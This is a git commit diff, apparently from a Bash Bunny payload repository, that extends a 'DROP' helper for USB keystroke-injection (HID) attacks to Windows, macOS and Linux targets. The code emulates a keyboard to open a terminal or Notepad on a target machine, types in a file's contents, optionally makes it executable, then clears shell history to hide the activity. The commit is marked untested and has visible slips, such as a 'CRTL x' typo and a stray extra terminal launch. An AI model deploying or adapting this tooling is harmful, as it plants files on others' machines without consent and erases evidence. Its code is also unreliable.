Multi-OS (Untested)

pull/318/head
bg-wa 2018-02-13 21:55:04 -08:00
parent 9ab8820cc5
commit 17e0b3d50c
1 changed files with 69 additions and 27 deletions

View File

@ -2,32 +2,65 @@
# #
# DROP v1 by bg-wa # DROP v1 by bg-wa
# Simplifies dropping files from HID attacks for LINUX # Simplifies dropping files from HID attacks for LINUX
# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false] # Usage: DROP [OS] bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
# #
# Example: # Example:
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true # DROP UNITY /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
source ./run.sh source ./run.sh
function DROP() { function DROP() {
source=$1 os=$1
destination=$2 source=$2
overwrite=$3 destination=$3
executable=$4 overwrite=$4
#os= executable=$5
case "$os" in
WIN)
RUN WIN powershell
;;
OSX)
RUN OSX terminal
;;
UNITY)
RUN UNITY terminal
;;
LINUX)
RUN LINUX terminal
;;
*)
RUN UNITY terminal
;;
esac
RUN UNITY xterm
QUACK DELAY 1000 QUACK DELAY 1000
if "$overwrite" == "true" if "$overwrite" == "true"
then then
QUACK STRING rm "$destination" case "$os" in
WIN)
QUACK STRING del "$destination"
;;
*)
QUACK STRING rm "$destination"
;;
esac
QUACK ENTER QUACK ENTER
QUACK DELAY 500 QUACK DELAY 500
fi fi
QUACK STRING vi "$destination"
QUACK ENTER case "$os" in
QUACK DELAY 500 WIN)
QUACK STRING i QUACK STRING fsutil file createnew "$destination"
RUN WIN notepad.exe "$destination"
;;
*)
QUACK STRING vi "$destination"
QUACK ENTER
QUACK DELAY 500
QUACK STRING i
;;
esac
while IFS= read -r data while IFS= read -r data
do do
@ -36,22 +69,31 @@ function DROP() {
done < "$source" done < "$source"
QUACK DELAY 500 QUACK DELAY 500
QUACK ESC
QUACK ENTER
QUACK STRING :wq
QUACK ENTER
if "$executable" == "true" case "$os" in
then WIN)
QUACK STRING chmod +x "$destination" QUACK CTRL s
QUACK ENTER QUACK CRTL x
QUACK DELAY 500 ;;
fi *)
QUACK ESC
QUACK ENTER
QUACK STRING :wq
QUACK ENTER
QUACK STRING history -c if "$executable" == "true"
QUACK ENTER then
QUACK STRING exit QUACK STRING chmod +x "$destination"
QUACK ENTER QUACK ENTER
QUACK DELAY 500
fi
QUACK STRING history -c
QUACK ENTER
QUACK STRING exit
QUACK ENTER
;;
esac
} }
export -f DROP export -f DROP